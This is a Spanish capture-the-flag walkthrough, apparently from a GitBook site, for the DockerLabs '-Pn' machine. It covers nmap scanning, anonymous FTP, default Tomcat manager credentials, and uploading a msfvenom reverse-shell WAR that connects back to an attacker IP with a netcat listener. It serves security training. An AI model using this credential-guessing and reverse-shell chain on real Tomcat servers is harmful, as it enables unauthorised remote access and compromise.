> For the complete documentation index, see [llms.txt](https://brias.gitbook.io/brias/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://brias.gitbook.io/brias/dockerlabs/dificultad-facil/pn.md).

# -Pn

### **1. Despliegue de la máquina**

#### **1.1. Descarga**

Accedemos a la web oficial de [DockerLabs](https://dockerlabs.es/), buscamos la máquina **-Pn** y pulsamos el botón de descarga.

Esto nos redirige a un enlace de Mega, desde donde descargamos un archivo comprimido que incluye tanto la imagen de la máquina como el script necesario para su ejecución.

#### **1.2. Descompresión**

Utilizamos la herramienta `7z` para extraer el contenido del archivo comprimido `Pn.zip`:

```bash
7z x Pn.zip
```

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FoIB0puVFeu4Kz1TFOKqa%2FPasted%20image%2020250823101243.png?alt=media&amp;token=4420183c-1af3-4641-a75c-3bd4ffa1bced" alt=""><figcaption></figcaption></figure>

#### **1.3. Ejecución**

Ejecutamos el script `auto_deploy.sh` para levantar la máquina en Docker, pasando como argumento el archivo `pn.tar`:

```bash
bash auto_deploy.sh pn.tar
```

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FINEin3LIFtHxWJVahce9%2FPasted%20image%2020250823101314.png?alt=media&amp;token=38c92e56-fda6-40cf-8e21-824233e6654a" alt=""><figcaption></figcaption></figure>

### **2. Reconocimiento**

#### **2.1. Verificación de conectividad**

Realizamos un `ping` a la dirección IP de la máquina (`172.17.0.2`) para confirmar que está activa:

```bash
ping -c 1 172.17.0.2
```

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FJwRmq3v95z5t0Uys2qmQ%2FPasted%20image%2020250823101412.png?alt=media&amp;token=7457e0c1-2925-476a-bf0d-18231b375672" alt=""><figcaption></figcaption></figure>

#### **2.2. Escaneo de puertos**

Realizamos un escaneo rápido con `nmap` para identificar puertos abiertos:

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oG allPorts
```

**Explicación de los parámetros:**

* `-p-`: Escanea todos los puertos TCP, del 1 al 65535.
* `--open`: Muestra solo los puertos que están abiertos, omitiendo los cerrados o filtrados.
* `-sS`: Realiza un escaneo SYN (stealth scan) que no completa la conexión TCP.
* `--min-rate 5000`: Fuerza una velocidad mínima de 5000 paquetes por segundo, acelerando el escaneo.
* `-vvv`: Activa el nivel máximo de verbosidad, mostrando información detallada del proceso.
* `-n`: Evita la resolución DNS, usando solo direcciones IP.
* `-Pn`: Omite la detección de host activo, asumiendo que el host está disponible.
* `-oG allPorts`: Guarda los resultados del escaneo en formato grepable, en el archivo `allPorts`.

**Resultados del escaneo:**

* **Puerto 21:** `FTP`.
* **Puerto 8080:** `HTTP`.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FFRIm0dV6jbC7ycnG2V4H%2FPasted%20image%2020250823101513.png?alt=media&amp;token=e4e96f77-64a1-4b42-87d1-66f32e5e7a28" alt=""><figcaption></figcaption></figure>

#### **2.3. Escaneo detallado**

Realizamos un escaneo más exhaustivo para obtener información adicional sobre los puertos abiertos:

```bash
nmap -p21,8080 -sCV 172.17.0.2 -oN targeted
```

**Explicación de los parámetros:**

* `-p21,8080`: Especifica los puertos a escanear.
* `-sCV`: Combina la ejecución de scripts básicos de reconocimiento (`-sC`) con el escaneo de versiones (`-sV`).
* `-oN targeted`: Guarda los resultados del escaneo en formato normal, en el archivo `targeted`.

**Resultados del escaneo:**

* **Puerto 21:** `vsftpd 3.0.5`, con acceso anónimo habilitado y la existencia de un archivo llamado `tomcat.txt`.
* **Puerto 8080:** `Apache Tomcat 9.0.88`.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FS7YKRQf8tRZQQLdjVhZA%2FPasted%20image%2020250823101551.png?alt=media&amp;token=d45b130f-badc-4992-adf6-af97731dfc75" alt=""><figcaption></figcaption></figure>

#### **2.4. Análisis del servicio FTP**

Accedemos al servicio FTP con el usuario `anonymous` para descargar el archivo `tomcat.txt`:

```bash
ftp anonymous@172.17.0.2
```

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FFgCCRs08mUhdHu2KJ5Fc%2FPasted%20image%2020250823101706.png?alt=media&amp;token=10857131-39fa-4e45-9dd4-3fb544740ccd" alt=""><figcaption></figcaption></figure>

Listamos los archivos disponibles:

```bash
ls
```

Como podemos comprobar, si existe el archivo `tomcat.txt`.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FiyzhF7USxnD6LvySRDBa%2FPasted%20image%2020250823101736.png?alt=media&amp;token=906a8989-ae3a-4df0-82a2-00bcc0cc2d4b" alt=""><figcaption></figcaption></figure>

Descargamos el archivo `tomcat.txt`:

```bash
get tomcat.txt
```

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2F2y5LJdslCj3iFCCszmDE%2FPasted%20image%2020250823101813.png?alt=media&amp;token=663f76a6-3a7b-42cd-8c61-3e87bc62298d" alt=""><figcaption></figcaption></figure>

Inspeccionamos su contenido:

```bash
cat tomcat.txt
```

**El mensaje encontrado es:** `Hello tomcat, can you configure the tomcat server? I lost the password...`.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2Fp818oDtMUOcybHh1J24Q%2FPasted%20image%2020250823101857.png?alt=media&amp;token=9c8657a6-71e6-4843-acc1-0db7c69a259e" alt=""><figcaption></figcaption></figure>

#### **2.5. Análisis del servicio web**

Accedemos al servicio HTTP en el puerto 8080 desde el navegador: `http://172.17.0.2:8080/`.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FQlCvngTLE2G7DukCFGow%2FPasted%20image%2020250823102027.png?alt=media&amp;token=f92f962f-f73f-4929-a681-db6bc8a12627" alt=""><figcaption></figcaption></figure>

Intentamos acceder al panel de administración (`Manager App`), pero se nos solicitan credenciales.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2F9mOYBz67X01g3xfol5Cf%2FPasted%20image%2020250823102038.png?alt=media&amp;token=4085bcca-5c76-4bd8-96c7-19bcab7eb394" alt=""><figcaption></figcaption></figure>

### **3. Explotación**

#### **3.1. Búsqueda de credenciales por defecto**

Consultamos la documentación de [HackTricks](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/tomcat/index.html) para identificar credenciales por defecto de Apache Tomcat.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FGJjArrfyuqgl3RBoBS2m%2FPasted%20image%2020250823102935.png?alt=media&amp;token=0f9295ce-9da5-47ff-8177-e05adbd5286d" alt=""><figcaption></figcaption></figure>

Probamos varias combinaciones y encontramos que las credenciales `tomcat:s3cr3t` permiten el acceso al panel de administración.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2F1QHZc2NANeXseTrHh3fF%2FPasted%20image%2020250823103047.png?alt=media&amp;token=f43331e7-03ce-4355-99d8-33915f6c6bf4" alt=""><figcaption></figcaption></figure>

#### **3.2. Subida de archivo WAR malicioso**

Dentro del panel de administración, localizamos la sección **WAR file to deploy**, que permite la subida de archivos WAR para desplegar aplicaciones.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FB9XznJI676xSZhvlHVEg%2FPasted%20image%2020250823103107.png?alt=media&amp;token=a79475c4-5a64-4a82-ab91-797dc1631c25" alt=""><figcaption></figcaption></figure>

Generamos una reverse shell en formato WAR utilizando `msfvenom`:

```bash
msfvenom -p java/shell_reverse_tcp LHOST=100.100.100.4 LPORT=123 -f war -o shell.war
```

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FFaZf8alKuqOdOboOf7F9%2FPasted%20image%2020250823103331.png?alt=media&amp;token=67608813-7d32-4ce1-9107-e53bcf420543" alt=""><figcaption></figcaption></figure>

Subimos el archivo desde el panel de Tomcat.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2F3FIvT55JoyOJ4OfOSxr2%2FPasted%20image%2020250823103412.png?alt=media&amp;token=272450d5-4a98-4b5d-aec7-c6ac8b861759" alt=""><figcaption></figcaption></figure>

#### **3.3. Ejecución de la reverse shell**

Nos ponemos en escucha en el puerto especificado (`123`) utilizando `netcat`:

```bash
nc -lvnp 123
```

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2Fr4lpPWoOz4tHilYigZea%2FPasted%20image%2020250823103500.png?alt=media&amp;token=a63c7212-a38c-4244-8565-8c11eb40d56c" alt=""><figcaption></figcaption></figure>

Accedemos al archivo WAR desde el navegador para activar la reverse shell.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2Fe8VBtUpWvkwGox9Fludf%2FPasted%20image%2020250823103512.png?alt=media&amp;token=b7a58b36-1ae8-4a95-ac33-86349c6e0215" alt=""><figcaption></figcaption></figure>

La página web queda en carga indefinida, pero recibimos una conexión reversa en nuestra terminal, obteniendo acceso al sistema como el usuario `root`.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FtwkOIO2XLpGuOlBoj3RE%2FPasted%20image%2020250823103529.png?alt=media&amp;token=bf62d146-fdfc-438b-9b8b-72669f9a50a2" alt=""><figcaption></figcaption></figure>
